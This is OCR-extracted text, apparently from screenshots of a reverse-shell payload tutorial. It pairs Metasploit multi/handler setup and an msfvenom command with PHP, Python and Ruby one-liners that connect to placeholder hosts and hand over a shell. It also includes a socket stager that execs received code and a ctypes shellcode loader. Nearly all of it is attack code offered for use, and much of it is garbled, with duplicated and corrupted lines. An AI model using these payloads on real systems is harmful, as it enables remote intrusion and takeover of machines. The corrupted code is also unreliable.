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1.php-payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.107

LHOST => 192.168.1.107

<?
php error reporting(0); S$ip = = 53; if ((Sf = 'stream socket client') && is callable(Sf)) |
{Sport}"); Ss type = 'stream'; } if (!Ss && (Sf = 'fsockopen') && is callable($f)) { Ss = Sf -~
strlen($Sb)); break; case 'socket': .= socket read(Ss, Slen-
strlen(Sb)); break; } } SGLOBALS['msgsock'] = $s; SGLOBALS['msgsock type'l = $s type; if (extension loaded('s:
>
Q
Eg-—o PHP f2£TH v
10sin_bypass=create_function(’’, $b); $suhosin_bypass(); } else | eval($b); | diel();?> TS T .

192.168.1. 107:22 - root@John: ~ — Ishell 5 (Free for Home/School)
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1192.168.1.107:22 =
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<?php
Ssock=fsockopen ("xx.xx.xx.xx",xx);exec ("/bin/sh -1 <&3 >&3 2>&3");

2>

& = PHP T E v

<Iphp FERRLEERI T . e
$sack=fsockopen (NN  cxcc(”/bin/sh —i <03 >3 22637);

T

<0 192.168.1.107:22 — root@John: ftap — Ishell 5 (Free for Home/Scheol)
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2.python-payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.107

LHOST => 192.168.1.107

import socket,struct,time
for x in range (10):
try:
s=socket.socket (2, socket.SOCK_ STREAM)
s.connect (('x.x.x.x"',xx))
break
except:
time.sleep (5)
l=struct.unpack('>I',s.recv(4)) [0]
d=s.recv (1)
while len(d)<L1l:
d+=s.recv(l-len(d))

exec(d,{'s':s})

& = Python 2T 82 v

import basefd, sys;exec (bazefd. bE4decods ({2:str, 3: lanbda bibytes(b, " UTF-3" )} [evs. versic [ ooy

&£ 192.168.1.107:22 ~ roviBJohn: ftmp ~ Ishell 5 (Free for Home/School)
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1192168.1.107:22 = ® 2192168110722

import socket, subprocess,os;s=socket.socket (socket.AF_ INET, socket.SOCK_STREAM);s.connect ( ("xx.xx.xx.xx",xx)) ;

i"]);

& E= Python FEETE v

0); os.dup2is.fileno(),1); os.dup2(s.fileno(),2) ;p=subprocess. call [[“/bin/sh”, "=i7]); ReFEETE. ...,

£ 192_168.1.107:22 - root@John: ftap — Ishell 5 (Free for Home/School)
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import socket

import subprocess

s=socket.socket ()

s.connect ( ("xx.xx.xx.xx",xx))
while 1:
p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subpro

s.send(p.stdout.read() + p.stderr.read()

& E= Python TEE8TE M

import zocket
import subproceas
z=socket. zocket (]

= connect (g 192_168.1_107:22 — root@8John: ftmp — Ishell 5 (Free for Home/Sd

wHE WEE TEY IA® BREG EAm R
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p = zubpr: a

while 1:

z. zend (p. ¢
1192.168.1.107:22 ® 7192.168.1.107:22
loit{handler} = exploit
TRUBRAHALE
root@John:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=88 -f ¢ | tr -d """ | tr -d "\n'
rnut@Jul_m =] f om -p wind meter_preter tep LPi -fe | tr - Yl tro-d e

cl
lecting Al

from ctypes import *

reverse shell = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72
micropoorshell = create string buffer (reverse shell, len(reverse shell)
shellcode = cast (micropoorshell, CFUNCTYPE (c_void p))

shellcode ()

2.ruby-payload
require 'socket';c=TCPSocket.new ("xx.xxX.xx.xx", x);$stdin.reopen (c);$stdout.reopen(c);$stderr.reopen (c);$stdi

(IO.popen(1l,"rb") {|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }
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1ic); $stdout. reapen(c) ; fstderr. reopen(c) ; $stdin. each_line {|1]1=1. strip;next if 1.length

<F192.168.1.107:22 — rootBJohn: fimp — Ishell 5 (Free for Home/School)
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loit{handler) =

1.
31.45.91

require 'socket';f=TCPSocket.open ("xx.xx.xx.xx",xx).to_ij;exec sprintf ("/bin/sh -i <&%d >&%d 2>&%d",f,f, f)

&&= | Ruby TR v

*Sncket. open DNSESUNNNNNY) . o i exec sprintf(*/bin/sh —i <%d Je%d %71, £, ) RREEs
£ 192.168.1. 107:22 — root@Jo! p - Ishell 5 (Free for HomefSchool)
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1192.168.1.107:22 ® 2192168.1.107:22

ploit {handler}

require 'socket';c=TCPSocket.new ("xx.xx.xx.xx","xx");while (cmd=c.gets);I0.popen(cmd,"r")

{lio|c.print io.read}end

&E= | RubyieRTa v

i PRI | ;yhile (cnd=c. gets)  I0. popenieond, “x7) {[dio/c. print io.read]end fusercoc

< 192.168.1.107:22 - root@John: ftap - Ishell 5 (Free for Home/School)
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1192.168.1.107:22 = ® 2192.168.1.107:22

oit(handler}

c=TCPSocket.new ("xx.xx.xx.xx","xx") ;while (cmd=c.gets) ;I0.popen (cmd,"r"){|io|lc.print io.read}end
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require * socket’ [ c=TCPSocket. new (I———— vhile (cnd=c. gets) ; 10, popen (cmd,

«F 192_168.1.107:22 — root@John: ftmp — Ishell 5 (Free for Home/School)
FHE O EEE FEE0 IEM BEEE HO0) FEEhe
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